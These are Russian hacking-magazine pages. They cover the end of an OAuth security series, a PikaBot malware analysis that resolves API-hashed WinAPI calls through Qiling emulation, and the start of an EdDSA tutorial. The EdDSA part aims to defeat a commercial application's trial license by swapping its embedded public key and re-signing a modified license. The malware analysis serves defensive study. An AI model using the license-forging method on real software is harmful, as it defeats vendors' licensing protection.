для  обеспечения дополнительной защиты от  перехвата или  утечки кода
доступа.

•
client_secret

PKCE RFC 7636

Если ты используешь  в  OpenID Connect, убедись, что он пра‐
вильно проверен в соответствии со спецификациями JSON Web Signature,
JSON Web Encryption и OpenID.

• id_token

Будь осторожен с кодами авторизации — они могут быть переданы через
заголовки  при  загрузке внешних изображений, скриптов
или содержимого CSS. Также важно не включать их в динамически генери‐
руемые файлы JavaScript, поскольку они могут выполняться из  внешних
доменов через теги .

•
Referer

<script>

ВЫВОДЫ

На этом мы заканчиваем цикл из трех статей про OAuth. Теперь ты без труда
сможешь ответить на  вопросы о  том, чем отличается OAuth первой версии
от  версии  2.0, почему появился OpenID Connect, сколько всего было ите‐
раций протокола и как это все работает.

Благодаря полученным знаниям ты сможешь сам находить уязвимости
и даже знаешь, как от них защититься. Чтобы ничего не забыть, можешь вос‐
пользоваться чек‑листом, которой я оставил в статье, а чтобы не тратить мно‐
го времени — расширениями для автоматизации.

Надеюсь, вся инфа была полезна. Я попытался собрать только самое важ‐
ное, но даже так это растянулось на несколько частей.

https://openid.net/specs/openid-connect-registration-1_0.html
https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics
https://datatracker.ietf.org/doc/html/rfc6749
https://datatracker.ietf.org/doc/html/rfc6819
https://datatracker.ietf.org/doc/html/rfc6750
https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-09
https://oauth.net/2/
https://openid.net/connect/
https://openid.net/specs/openid-connect-core-1_0.html
https://portswigger.net/web-security/oauth
https://portswigger.net/web-security/oauth/openid
https://github.com/PortSwigger/oauth-scan.git
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ВЗЛОМ

Недавно мне попался вредонос семейства
PikaBot, и  при его изучении я наткнулся
на  старый, но  по‑прежнему популярный
прием API Hashing. Он позволяет скрывать
возможности малвари как  от средств
защиты, так и  от инструментов анализа.
Сегодня мы при  помощи эмуляции поп‐
робуем автоматизировать выявление фун‐
кций, вызываемых через API Hashing.

Так как API Hashing (а также другие способы сокрытия вредоносных функций)
время от времени встречается в моей практике, мне захотелось найти более
универсальный способ, чем просто каждый раз писать скрипт, который
интерпретирует алгоритм хеширования имени API-функции Win32  из  вре‐
доноса. Я подумал, что эмулятор отлично подойдет для  быстрого решения
этой проблемы. Давай посмотрим, что из этого вышло.

КРАТКО ОБ API HASHING

Для начала вспомним, в  чем именно заключается техника API Hashing. Вре‐
доносный код импортирует функции из  системных библиотек путем анализа
PE-заголовка, а точнее — таблицы экспорта этих библиотек.

Определить API Hashing можно, как раз отслеживая поиск функции по хешу
от  ее имени. То есть малварь перебирает таблицу экспорта системных либ

 или  , хеширует имя каждой функции и  сравнивает

с  хешем имени искомой функции. В  случае совпадения вредонос читает
адрес нужной функции для дальнейшего использования.

ntdll.dll kernel32.dll

Алгоритм подсчета хеша может быть любой: например, часто встречаются
CRC-32  или  MurmurHash2, а  также любой кастомный алгоритм односторон‐
него преобразования, в общем — лишь бы сильно не нагружать цикл вычис‐
ления хеша.

При таком подходе функции, которые использует малварь, не будут отра‐
жены ни  в таблице импорта, ни  как строки в  самом бинаре. Это  позволяет
обойти некоторые виды антивирусного сканирования, поэтому техникой
до сих пор пользуются вирусописатели и члены красных команд.

INFO

Подробнее об  API Hashing читай в  статье «

».

Ве‐
селые хеши. Реализуем технику API Hashing, что‐
бы обдурить антивирус

АНАЛИЗ ОБРАЗЦА

Модуль, который применяет API Hashing, я получил, анализируя 
. Если тебе интересно, можешь попробовать самостоятельно извлечь

семпл или можешь сэкономить время и  .

этот образец
PikaBot

скачать уже извлеченный
В дизассемблере первый пример API Hashing ты встретишь по  адресу

:0x10011B78

.text:10011B6C    mov   [ebp-24h], eax


.text:10011B6F    push  0D57B2h


.text:10011B74    mov   edx, [ebp-24h]


.text:10011B77    push  edx


.text:10011B78    call  sub_10012470


Функция  как  раз таки реализует поиск адреса функции

по  хешу. В  данном случае хеш искомой функции  — это  значение ,

которое кладется на  стек тремя инструкциями выше. Первый же аргумент
функции  — адрес библиотеки , который получен в  результате

вызова  по адресу .

sub_10012470
0D57B2h

kernel32.dll
sub_10012410 0x10011B64

То есть получается, что первым аргументом передается адрес библиоте‐
ки, а вторым — ее хеш. Если ты знаком с WinAPI, то это сильно напомнит тебе
функцию  с той разницей, что вторым аргументом передается
название функции в явном виде, а не хеш от него.

GetProcAddress

Итак, у нас есть хеш и нам нужно узнать, от названия какой функции WinAPI
он был получен. Как  правило, в  таких случаях для  получения искомого наз‐
вания функции нужны три ингредиента:
1. Список имен функций  и   (можно добавить

и  другие либы, но  вряд ли они используются на  этом этапе работы мал‐
вари).

kernel32.dll ntdll.dll

2. Алгоритм хеширования, реализованный на  удобном нам языке (возьмем
любимый всеми Python).

3. Хеш искомой функции.

Рецепт простой  — перебирать по  списку все имена функций, хешируя их
по интерпретированному алгоритму, пока не получим совпадение с искомым
хешем. Впрочем, это только один из возможных способов, все ограничивает‐
ся только твоей фантазией.

Так как  наша цель  — получить названия всех хешированных функций,
не тратя время на интерпретацию алгоритма хеширования, мы не будем пог‐
ружаться в  анализ механизма получения адресов системных либ, перебора
их экспорта и деталей алгоритма хеширования, а перейдем сразу к исполь‐
зованию эмуляции.

ПРИМЕНЕНИЕ ЭМУЛЯЦИИ

В качестве средства эмуляции я выбрал специализированный фреймворк
, который построен на движке эмуляции . Последний эмулирует

разные процессоры, но при этом в нем нет никакого контекста операционной
системы, то есть просто взять и запустить исполняемые файлы какой‑то ОС
не получится.

Qiling Unicorn

При этом можно взять интересующий нас набор инструкций, определить
для  них состояние используемых регистров и  участков памяти и  выполнить
нужный участок. Qiling же помогает исполнить бинарь целиком: он полноцен‐
но загружает файл в эмулятор и обрабатывает все вызовы API и сисколы. Так
мы можем не  заморачиваться всякими тонкостями вроде значений регис‐
тров. Если, конечно, исполнение без нашей помощи дойдет до нужного учас‐
тка малвари, но  на начальных этапах ветвление встречается редко, так что
по этому поводу можно не переживать.

Правда, как  ты увидишь дальше, слова «полноценно загружает» и «обра‐
батывает все вызовы API и  сисколы» не  совсем соответствуют действитель‐
ности.

Переходим к практике. Напишем скрипт, который будет при помощи Qiling
эмулировать малварь, получать результаты поиска по хешу и пытаться резол‐
вить их, чтобы получить по возвращаемому адресу функции ее имя.

Перед тем как попытаться загрузить какой‑нибудь исполняемый файл вин‐
ды в  эмулятор, тебе нужно собрать системные либы и  даже реестр
с помощью .скрипта из состава Qiling

Для начала попробуем просто загрузить малварь в эмулятор:

   from qiling import *
   from qiling.const import *

  ql = Qiling(["./examples/rootfs/x86_windows/163520.exe"],"./examples/
rootfs/x86_windows")

 — это название знакомого нам бинаря PikaBot.163520.exe
А вот по этому пути хранятся наши системные либы для x86-версии и ветки

реестра:

./examples/rootfs/x86_windows


Если не  указывать значение параметра  при  объявлении объекта

Qiling, ты увидишь вывод, который соответствует уровню 
 (можешь посмотреть ). В нем указывается, что уда‐

лось и не удалось загрузить из системных либ и функций или найти в них.

verbose
QL_VERBOSE.

DEFAULT другие варианты

Теперь давай попробуем добавить хук на выход из функции ,
чтобы отслеживать, какие адреса функций она возвращает. Также попробуем
их резолвить, чтобы получить имена. Определим функцию хука:

sub_10012470

    def hook(ql: Qiling) -> None:
      if ql.arch.regs.read("EAX") in ql.loader.import_symbols:

         entry = ql.loader.import_symbols[ql.arch.regs.read("EAX")]
         print('[!] Founded API: ' + entry['name'].decode("utf-8"))

Как видно из  листинга, функция принимает контекст эмулятора, читает зна‐
чение регистра EAX и  выводит имя найденной функции, если значение сов‐
падает с  символами системных библиотек, загруженных в  адресное прос‐
транство эмулируемого процесса. Так как хукать мы будем выход из функции
поиска хеша, то возвращаемое значение по  всем соглашениям о  вызове
лежит в EAX, поэтому читаем мы именно его.

Также давай укажем, какой адрес нам нужно перехватывать. В данном слу‐
чае функция  заканчивается только по адресу :sub_10012470 0x1001251A

 ql.hook_address(hook, 0x1001251A)

Ну и  еще желательно определить адрес, на  котором эмуляция завершится,
чтобы не ждать, пока малварь полностью отработает или мы поймаем ошибку
эмуляции на каком‑то из этапов работы малвари.

В нашем образце PikaBot последний вызов функции API Hashing происхо‐
дит по  адресу  (можешь проверить это  через xref
на  ), после чего малварь уже работает с  полученными адре‐

сами (например, по адресу ):

0x10011C1A
sub_10012470

0x10011C39

.text:10011C0B    add   esp, 8


.text:10011C0E    mov   [ebp-74h], eax


.text:10011C11    push  348BFAh


.text:10011C16    mov   ecx, [ebp-24h]


.text:10011C19    push  ecx


.text:10011C1A    call  sub_10012470


.text:10011C1F    add   esp, 8


.text:10011C22    mov   [ebp-5Ch], eax


.text:10011C25    mov   dword ptr [ebp-48h], 31000h


.text:10011C2C    push  4


.text:10011C2E    push  3000h


.text:10011C33    mov   edx, [ebp-48h]


.text:10011C36    push  edx


.text:10011C37    push  0


.text:10011C39    call  dword ptr [ebp-4Ch]


Кстати, если тебе приходилось анализировать виндовую малварь, ты рас‐
познаешь в обращении к загадочной функции по адресу  паттерн

вызова . Самые приметные константы —  и  , которые

передаются как  третий и  четвертый аргументы (
и  ). У меня есть , который пытается най‐

ти по  таким паттернам вызовы популярных у  вирусописателей функций
WinAPI, что тоже упрощает анализ вредоносов.

0x10011C39
VirtualAlloc 0x3000h 0x4h

flAllocationType
flProtect плагин для дизассемблера

Итак, мы определились, что дальше адреса  эмулировать
смысла нет, так что укажем этот адрес в качестве конца эмуляции:

0x10011C1F

ql.run(end=0x10011C1F)

Если ты попробуешь запустить написанный нами скрипт, то, скорее всего,
столкнешься с ошибкой:







[x]     Could not find DLL file





[=]     LoadLibraryW(lpLibFileName = "sc.exe") = 0x0






Трудности при эмуляции
Неужели эта ошибка способна пошатнуть нашу веру в  возможность легкого
и  быстрого анализа малвари? Причина проблемы в  том, что по  адресу

 эмулятор пытается загрузить  как библиотеку при помощи

первой полученной через API Hashing функции  (ты увидишь ее

в выводе перед ошибкой). При этом такого бинаря в контексте эмулятора нет,
поэтому можем его скопировать из   (для x64  просто из  )
вот сюда:

0x10011BDB sc.exe
LoadLibraryW

SysWOW64 System32

./examples/rootfs/x86_windows/Windows/System32


Согласно ,  будет искать бинарь

в том числе в  .

порядку поиска библиотек LoadLibraryW
System32

Пробуем запустить еще  раз. И  снова ты, скорее всего, наткнешься
на ошибку, на этот раз выглядеть она должна так:





[x]     'PE' object has no attribute 'DIRECTORY_ENTRY_EXPORT'



Дело в том, что у Qiling своя реализация загрузки библиотеки, то есть, когда
исполнение доходит до  , эмулятор самостоятельно пыта‐

ется загрузить указанную библиотеку. Фреймворк загружает ее в 
, а анализ таблицы экспорта происходит в  , но,

так как у  нет экспорта, эмулятор ловит ошибку.

LoadLibrary(A/W)
файле

pe.py том же файле чуть ниже
sc.exe

Самое простое, что можно сделать,  — это  обернуть цикл в  конструкцию
try-except:

try:
    for sym in dll.DIRECTORY_ENTRY_EXPORT.symbols:
       ea = image_base + sym.address

     import_symbols[ea] = {
        'name' : sym.name,

       'ordinal' : sym.ordinal,
         'dll' : dll_name.split('.')[0]

   }

    if sym.name:
       import_table[sym.name] = ea

     import_table[sym.ordinal] = ea
       cmdline_entry = self.set_cmdline(sym.name, sym.address, data)

    if cmdline_entry:
     cmdlines.append(cmdline_entry)
except:
 pass

Еще, например, ты можешь в самом скрипте эмуляции добавить хук, который
будет менять EIP на следующий за проблемным участком код. То есть просто
не исполнять инструкции, которые вызывают загрузку  в исследуемом

образце PikaBot.

sc.exe

Итак, мы немножко поправили исходники Qiling конкретно под выбранную
малварь. Безусловно, это костыль.

Запустим еще раз, теперь все отработало в соответствии с нашими ожи‐
даниями, и  мы знаем, адреса каких функций малварь получает в  результате
применения API Hashing:







[!] Founded API: LoadLibraryW





[=]     Loading sc.exe ...





[=]     Done loading sc.exe





[=]     LoadLibraryW(lpLibFileName = "sc.exe") = 0x400000





[!] Founded API: VirtualAlloc





[!] Founded API: LoadLibraryA





[!] Founded API: GetProcAddress






ВЫВОДЫ

Максимально простой скрипт, который мы с  тобой подготовили, можно
использовать каждый раз, когда вредонос пытается скрытно использовать
функции WinAPI, необходимые для его успешной работы.

Но, как ты понимаешь, анализ API Hashing — это только малая часть задач,
которые можно решать с помощью эмуляции при анализе малвари. В первую
очередь эмуляция пригодится, когда времени на  исследование алгоритмов
нет, но нужно посмотреть участки, которые скрыты при статическом анализе.

В общем, все, как всегда, ограничено только твоей фантазией! И еще сов‐
сем немного — возможностями самих эмуляторов.

https://xakep.ru/2023/10/06/api-hashing/
https://bazaar.abuse.ch/sample/d26ab01b293b2d439a20d1dffc02a5c9f2523446d811192836e26d370a34d1b4/
https://bazaar.abuse.ch/sample/7b1c5147c903892f8888f91c98097c89e419ddcc89958a33e294e6dd192b6d4e/
https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
https://github.com/qilingframework/qiling
https://www.unicorn-engine.org/
https://github.com/qilingframework/qiling/blob/9a78d186c97d6ff42d7df31155dda2cd9e1a7fe3/examples/scripts/dllscollector.bat#L4
https://github.com/qilingframework/qiling/blob/9a78d186c97d6ff42d7df31155dda2cd9e1a7fe3/qiling/const.py#L42
https://learn.microsoft.com/ru-ru/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://github.com/RemaLaCrema/can_I_guess
https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order
https://github.com/qilingframework/qiling/blob/9a78d186c97d6ff42d7df31155dda2cd9e1a7fe3/qiling/loader/pe.py#L109
https://github.com/qilingframework/qiling/blob/9a78d186c97d6ff42d7df31155dda2cd9e1a7fe3/qiling/loader/pe.py#L203


МВК

ВЗЛОМ

В сегодняшней статье я хочу помучить тебя
самым ненавистным для некоторых студен‐
тов предметом  — высшей математикой.
А именно рассказать о распространенном,
но  малоизвестном алгоритме криптопод‐
писи EdDSA + SHA-512.

WARNING

Статья имеет ознакомительный характер и пред‐
назначена для  исследователей безопасности
и  специалистов по  разработке защиты програм‐
много обеспечения. Автор и  редакция не  несут
ответственности за  любой вред, причиненный
с  применением изложенной информации.
Нарушение авторских прав и патентного законо‐
дательства, распространение контрафактного
ПО  и нарушение работы систем преследуются
по закону.

Каждый уважающий себя хакер просто обязан знать врага в  лицо и  раз‐
бираться в  основных криптоалгоритмах, популярных и  не очень. Так, крип‐
топодпись EdDSA, несмотря на  довольно широкое использование (I2P,
OpenBSD, OpenSSH и так далее), в отличие от своей эллиптической сестры
EcDSA сильно обделена реализациями в стандартных криптобиблиотеках. Ее
можно найти разве что в узкоспецифических проектах типа NaCl, SUPERCOP,
python-ed25519 и прочей экзотике.

Сложностей добавляет и  то, что по  упомянутой причине каждый автор
реализует хеширование, а  также генерацию ключей и  сигнатур по‑своему.
Поэтому я и  решил поподробнее рассказать об  алгоритме EdDSA, причем
именно с  практической точки зрения. Мы разберем реализацию и  работу
этой подписи на конкретном примере.

ПРЕДМЕТ ИССЛЕДОВАНИЯ

Предметом нашего исследования станет некое приложение, при  первом
запуске скачивающее триальную лицензию с  сервера. После несложных
телодвижений в ProcMon скачанная лицензия благополучно обнаруживается
в реестре.

Кажется, что все в ней прекрасно: в понятном текстовом виде хранится и вер‐
сия, и ID оборудования, а также время начала и конца срока действия в мил‐
лисекундах. Можно смело править и пользоваться! Но нет, в конце мы обна‐
руживаем поле с  недвусмысленным именем , где в  шестнад‐
цатеричном виде закодирован некий 64-байтовый (512-битный) блок данных.

signature

F8 BF BA E3 73 E5 AC 75 3F 38 AC DA F2 0C 42 B1 80 0C 18 A0 BF 92 8F 
39 5C B1 A1 8E 2E E7 47 62

F1 3A E7 94 2A 5F 61 6D 97 5F 76 5B FD 82 B6 58 A0 D7 4C 07 3B 7E 61 
A1 B3 85 75 62 93 94 90 06


Действительно ли это  сигнатура или  подпись текстовых данных лицензии,
проверить элементарно: замена любого байта в текстовой части или в самой
сигнатуре делает лицензию невалидной, и программа немедленно кидается
повторно скачивать ее с  удаленного сервера. Первый  512-битный хеш,
который приходит в голову, — это SHA-512, его наличие подтверждает и прог‐
рамма Krypto Analyzer, если скормить ей наш исполняемый модуль.

То, что это не случайный набор байтов, а реальная инициализация подсчета
хеша SHA-512, нам подтверждает и  IDA, в  которой мы открываем код при‐
ложения по любезно предоставленному нам анализатором адресу.

Однако счастье оказывается не  так близко, как  кажется: посчитанная кон‐
трольная сумма SHA-512  совершенно не  похожа на  значение ,

а  значит, для  подписи не  годится. Подпись считается каким‑то иным спо‐
собом.

signature

Попробуем копнуть с другой стороны: найти проверку подписи в отладчи‐
ке. Загружаем нашу программу в  x64dbg и  ищем проверку подписи. Прог‐
рамма написана на  чистом C++, ничем не  защищена и  свободна от  анти‐
отладчиков, поэтому искомое место находится элементарно, в  псевдокоде
IDA оно выглядит так.

Будь мы чуть более ленивыми, то закоротили  бы эту функцию на 

(да, при успешной верификации она возвращает именно 0) и успокоились бы,
но тогда смысла писать эту статью не было бы никакого. Попробуем все‑таки
разобраться, как устроена сигнатура и как она верифицируется.

return 0

Очевидно, что финальную проверку выполняет функция ,

которая сложным и  непрямым способом сравнивает на  тождественное
равенство две  32-байтовые последовательности. Первую из  них IDA-шный
декомпилятор условно обзывает a1 + 8. Она представляет собой пер‐
вые 32 байта сигнатуры, то есть в нашем случае выглядит так:

sub_14000517D

F8 BF BA E3 73 E5 AC 75 3F 38 AC DA F2 0C 42 B1 80 0C 18 A0 BF 92 8F 
39 5C B1 A1 8E 2E E7 47 62


Вторая последовательность вычисляется функцией  и условно

называется a1 + 104. Оставим пока без  внимания тревожный звоночек
«почему проверяется только первая половина сигнатуры, зачем тогда вто‐
рая?» и  тупо попробуем переподписать лицензию значением a1 + 104. То
есть меняем в текстовой части лицензии любой байт, ставим точку останова
на проверку, берем новое значение a1 + 104 и подставляем его вместо пер‐
вых 32 байт сигнатуры.

sub_1401155E0

План кажется надежным, как швейцарские часы, но он не работает: после
замены первой половины сигнатуры значение a1 + 104  снова меняется.
Это означает, что первая половина сигнатуры входит в обе части этого крип‐
тоуравнения. Вторая половина сигнатуры тоже находится довольно быстро —
она под  условным именем a1 + 40  является аргументом функций

 и   в  цепочке весьма головоломного расчета

проверочного значения a1 + 104.

sub_1401162C0 sub_140114D30

Попробуем все‑таки опознать криптоалгоритм. Потыкавшись по  функци‐
ям, ничего характерного не обнаруживаем, лишь какие‑то долгие, ломающие
мозг вычисления, напоминающие операции с BigInteger, коими они, очевид‐
но, и являются. Самой перспективной в этом плане представляется функция

.sub_1401161B0

Помимо того что она визуально красива и  интуитивно понятна, эта функция
содержит массу волшебных цифр. Собственно, ее смысл заключается в том,
что она возвращает старшие 32 бита суммы второй половины сигнатуры a1 +
40 и некоего магического 256-битного числа:

EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEB2106215D086329A7ED9CE5A30A2C13


Причем, если результат будет ненулевой, сигнатура признается негодной.
Само число нам ни  о чем не  говорит и  нигде в  интернете не  упоминается,
однако если предположить, что проверяется именно не  превышение зна‐
чения, обратного этому числу, а именно


,
то пазл начинает складываться.
1000000000000000000000000000000014def9dea2f79cd65812631a5cf5d3ed

1000000000000000000000000000000014def9dea2f79cd65812631a5cf5d3ed


Если перевести младшую часть этого значения в десятичный вид, мы получим

27742317777372353535851937790883648493


А это  довольно известная константа! Причем известная именно в  таком
сочетании — в виде суммы с двойкой в 252-й степени (2^252 + эта констан‐
та). Это  так называемый порядок (order) базовой точки кривой Эдвардса,
использующейся криптоалгоритмом EdDSA.

Вот мы и  подошли к  главной цели нашего повествования. Как  и обещал
с  самого начала, я не  буду сильно загружать тебя математической теорией
эллиптической криптографии и  особенностями реализации этих самых кри‐
вых Эдвардса.

WWW

Желающие могут самостоятельно вкатиться в эту
увлекательную тему на  , чуть менее под‐
робно, но  более доходчиво тема описана
на   и в   .

Вики

xmr.ru цикле статей на Хабре
Наконец, для  совсем продвинутых отличников

доступна  по 
.

англоязычная литература исполь‐
зованию кривых Эдвардса в криптографии

Для всех тех, кому читать всю эту теорию лень и неинтересно, попробую объ‐
яснить суть задачи на пальцах, чтобы хотя бы базовые принципы дальнейшего
обсуждения стали ясны.

Начну с  самого главного и  весьма прискорбного факта: эллиптическая
криптография асимметрична. Те, кто уже сталкивались, например, с  RSA,
знают, что это  такое: для  каждой подписи есть два ключа. Один (закрытый,
секретный) — у разработчика, с помощью этого ключа он и формирует под‐
пись. И  открытый (публичный)  — у  пользователя, который проверяет этим
ключом валидность подписи. Сделано это  для того, чтобы ты никак не  смог
подделать подпись на  измененной лицензии. Как  это ни  грустно звучит,
в нашем примере мы тоже не сможем этого сделать при всем желании.

Однако мы можем создать собственную подпись, сгенерировав пару клю‐
чей и подменив публичный ключ в приложении своим. Не буду объяснять, чем
патч публичного ключа лучше гораздо более простого патча верификации
сигнатуры, ведь наше исследование преследует не  вредоносную, а  чисто
познавательную цель.

Итак, попробуем разобраться в  алгоритме проверки подписи, сгенери‐
ровать свою пару ключей, найти в  нашем приложении публичный ключ и,
поменяв его, переподписать лицензию новой подписью.

Продолжение статьи
→

https://ru.wikipedia.org/wiki/EdDSA
https://wiki.xmr.ru/cryptography/asymmetric/edwards25519.html
https://habr.com/ru/articles/247873/
https://habr.com/ru/articles/269579/
https://habr.com/ru/articles/270753/
https://datatracker.ietf.org/doc/draft-ietf-lwig-curve-representations/
https://cr.yp.to/ecdh/curve25519-20060209.pdf


EDDSA
ИССЛЕДУЕМ КРИПТОПОДПИСЬ

И УЧИМСЯ С НЕЙ БОРОТЬСЯ

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ТЕОРИЯ

Обратиться к теории нам все‑таки придется. Для начала определимся, что же
такое эллиптическая кривая. Тем, кто не  прочитал научные определения
по приведенным выше ссылкам или прочитал, но ничего не понял, даю полез‐
ный совет: забудь как  минимум картинки, которые ты там видел. На  самом
деле это никакая не эллиптическая и никакая не кривая.

На практике это чудовищно огромное, но конечное дискретное множество
точек, причем множество упорядоченное. Каждая точка имеет два целочис‐
ленных параметра — координаты X и Y, фактически псевдослучайные, вычис‐
ляемые по очень сложным формулам. Ты спросишь: каким образом множес‐
тво упорядочено?

На нем определили операции сложения точки со  скалярной константой
и  другой (или той же самой) точкой. Причем через операцию сложения
с самой собой определена и операция умножения. На этом множестве также
определена базовая точка (которую называют B или, как больше любят жен‐
щины, точка G). Поскольку рассматриваемое нами множество, называемое
эллиптической кривой, замкнуто и ограниченно, то через определенное чис‐
ло шагов складывания с самой собой точка G переходит в себя же. То есть 

.

G 
= G * L

Вот это самое волшебное число L и называется порядком базовой точки
кривой Эдвардса, проверку на  превышение которого мы нашли в  функции

. Все вычисления в  алгоритме делаются по  модулю L, соот‐

ветственно, скалярная константа, превышающая L, заведомо ошибочна,
именно поэтому и выполняется проверка.

sub_1401161B0

Попробую теперь наглядно описать процесс подписи лицензии и ее про‐
верки при помощи алгоритма EdDSA. Для простоты и удобства забудем пока
про реальные координаты X и Y каждой точки и нарисуем множество E в виде
замкнутой эллиптической кривой. Изобразим базовую точку G на ней. В этом
случае операции сложения и умножения точки на кривой будут представимы
просто в виде перемещения точки по кривой на определенное число шагов.

Выберем в  качестве закрытого ключа любое случайное число, меньшее
порядка кривой , тогда открытым (публичным) ключом будет точка

A  на  кривой, равная . Суть несимметричной криптографии зак‐
лючается в том, что скорость обратной к умножению операции просто несо‐
измеримо ниже, чем само умножение. То есть получить приватный ключ
из секретного в нашей реализации (32-байтовые или 256-битные операнды)
можно мгновенно, а обратная задача на актуальном железе может считаться
целую вечность.

s < L
A = G * s

Выберем теперь некое произвольное число  (на самом деле не сов‐

сем произвольное: в  разных реализациях его для  пущей жести ставят
в  зависимость от  секретного ключа и  даже от  хеша подписываемого сооб‐
щения). Теперь создадим соответствующую ему точку . Далее счи‐

таем хеш от подписываемых данных (назовем его просто HASH). Считать его
можно как угодно, хеш‑функция может быть произвольной, количество битов
хеша должно составлять  512, хотя потом это  значение все равно нормиру‐
ется по модулю .

r < L

R = r * G

L
Именно поэтому определенное распространение получила связка EdDSA

+ SHA-512, которую мы сейчас и  разбираем. Несмотря на  произвольность
реализации, по  канону положено, чтобы в  хешируемые данные обязательно
входил открытый ключ (двоичное представление точки ) и  двоичное пред‐

ставление точки . Для чего это сделано, ты, надеюсь, уже понял, попробовав

поменять значение  в  сигнатуре (а это  и есть первые  32  байта сигнатуры).

Второй половиной сигнатуры будет число . В общем, про‐
цесс подписи выглядит примерно так, как  показано на  рисунке, сигнатура
выделена зеленым.

A
R

R
S = r + HASH * s

Попробуем теперь верифицировать полученную подпись. Берем значение 

(вторые 32 байта сигнатуры) и умножаем на базовую точку . Получаем новую

точку , затем считаем значение HASH вышеописанным образом, умно‐
жаем его на публичный ключ  и получаем еще одну точку . А затем

просто считаем разность между ними. Если верификация проходит, должна
получиться точка .

S
G

G * S
A A * HASH

R

В чем секрет фокуса? Дело в том, что для принятых на   операций сложения

и умножения, несмотря на всю сложность их реализации, точно так же выпол‐
няется распределительный закон: 

.

E

G * S – A * HASH = G * (r + HASH * 
s) – G * s * HASH = G * (r + HASH * s – HASH * s) = G * r = R

ПЕРЕХОДИМ К ПРАКТИКЕ

Надеюсь, такого простого объяснения было достаточно для  понимания
теории, поскольку далее мы перейдем к  суровой практике, а  именно к  ана‐
лизу кода. Поскольку реализация алгоритма настолько сложна, что при взгля‐
де на восстановленный псевдокод даже самой простой функции становится
жутко, попробуем упростить себе задачу. Для начала найдем готовую реали‐
зацию EdDSA и по аналогии разберем логику и структуру алгоритма.

Я считаю самым подходящим кандидатом для  сравнения проект
. Если открыть 

и  восстановленный IDA псевдокод, то создается впечатление, что код ком‐
пилировался прямо с  них. Единственная, но  очень досадная помеха  —
в качестве хеш‑функции в нем используется алгоритм , тоже довольно
экзотический. Возможно, я когда‑нибудь расскажу и о нем, но нам он не под‐
ходит, так как у нас используется SHA-512.

Monocypher исходник реализации математических примитивов

Blake2

На самом деле это не очень большая проблема. Попробуем на примере
конкретной сигнатуры проверить работоспособность реализации
Monocypher для  нашего случая. Вспомним найденную нами ранее функцию
верификации сигнатуры  и  запишем ее с  учетом полученных
знаний:

sub_140118940

// Верификация сигнатуры, возвращает 0, если успешно, в противном 
случае 0xFFFFFFFF
// Примерный аналог — crypto_eddsa_check

   __int64 __fastcall sub_140118940(__int64 a1)

 // v5=SHA512(R || Public key || License)
        

 
(*(void (__fastcall **)(__int64, char *))(*(_QWORD *)a1 + 24i64))(

a1, v5);
   // Обрезает хеш v5 по модулю L, аналог crypto_eddsa_reduce
 sub_1401170F0((__int64)v5);
   // v4 = S, вторая половина сигнатуры
     sub_1401162C0(v4, a1 + 40, 8i64);
   // v3 = –A, где A — публичный ключ a1 + 104 
ge_frombytes_neg_vartime
        if ( (unsigned int)sub_140114FA0(v3, a1 + 104) ||
      // Если S > L, то сигнатура неверная is_above_l
      (unsigned int)sub_1401161B0(v4) )
    return 0xFFFFFFFFi64;
   // v3 = G * S – A * HASH
     sub_140114D30(v3, (__int64)v5, a1 + 40);
   // ge_tobytes — преобразование полученного результата из формата 
расширенных координат в обычный 32-байтовый для последующего 
сравнения с R
    sub_1401155E0(a1 + 104, v3);
   // Проверка точек на равенство crypto_verify32
    return sub_14000517D(a1 + 8);
}

Как видишь, реализация верификации в  нашей программе хоть и  аналогич‐
ная, но все‑таки немного не такая, как в моносайферовских функциях. Давай
все же проверим совместимость этой реализации с нашими хешами. Конеч‐
но, по‑хорошему было  бы логичным прикрутить к  Monocypher хеш‑функцию
SHA-512 вместо Blake2, но мы немного схалтурим. Откроем нашу программу
в  x64dbg и  поставим точку останова сразу после вызова .
Получаем нормализованное по   значение HASH:

sub_1401170F0
L

3A 8A 86 6E 84 C4 EC 81 5E 0E 77 EB 94 1C 8F 87 35 42 C6 36 64 63 56 
12 E3 A0 32 A9 79 95 DE 05


Теперь у  нас есть все значения для  теста: делаем из  них коротенькую тес‐
товую процедурку и вставляем ее в Monocypher.

 void test()
{
       

 

u8 public_key[32] = { 0x8F,0xEE,0xEB,0xD8,0x76,0x69,0x7A,0xD5,
0x37,0xD4,0x47,0xC7,0x3B,0xBC,0x37,0xC8,0x35,0x63,0x1C,0x93,0xA5,0x0C
,0x9F,0x2C,0x55,0x2A,0x01,0x22,0x18,0x7C,0x4E,0x5B };

       u8 h[32] = { 0x3A,0x8A,0x86,0x6E,0x84,0xC4,0xEC,0x81,0x5E,0x0E,
0x77,0xEB,0x94,0x1C,0x8F,0x87,0x35,0x42,0xC6,0x36,0x64,0x63,0x56,0x12
,0xE3,0xA0,0x32,0xA9,0x79,0x95,0xDE,0x05};
       u8 signature[64] = { 0xF8,0xBF,0xBA,0xE3,0x73,0xE5,0xAC,0x75,0x3F
,0x38,0xAC,0xDA,0xF2,0x0C,0x42,0xB1,

 

       0x80,0x0C,0x18,0xA0,0xBF,0x92,0x8F,0x39,0x5C,0xB1,0xA1,0x8E,
0x2E,0xE7,0x47,0x62,0xF1,0x3A,0xE7,0x94,0x2A,0x5F,0x61,0x6D,0x97,0x5F
,0x76,0x5B,0xFD,0x82,0xB6,0x58,0xA0,0xD7,0x4C,0x07,0x3B,0x7E,0x61,
0xA1,0xB3,0x85,0x75,0x62,0x93,0x94,0x90,0x06 };

      return crypto_eddsa_check_equation(signature, public_key, h);
}

Тест проходит превосходно, и  это хорошо  — ведь мы, по  сути, не  имеем
ни  малейшего представления, как  была сгенерирована подпись из  нашей
программы. Тем не  менее подпись прошла верификацию, а  значит,
Monocypher можно заставить работать и  для генерации своей собственной
подписи. Давай проверим и эту гипотезу.

Сначала попробуем сгенерировать новые ключи для  EdDSA. Для  этого
выбираем секретный ключ, как  произвольное значение

 — случайно выбранная соль генератора. Что‐

бы не заморачиваться, сделаем его вообще нулевым:

crypto_eddsa_key_pair seed

    u8 seed[32] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
,0,0,0,0,0};

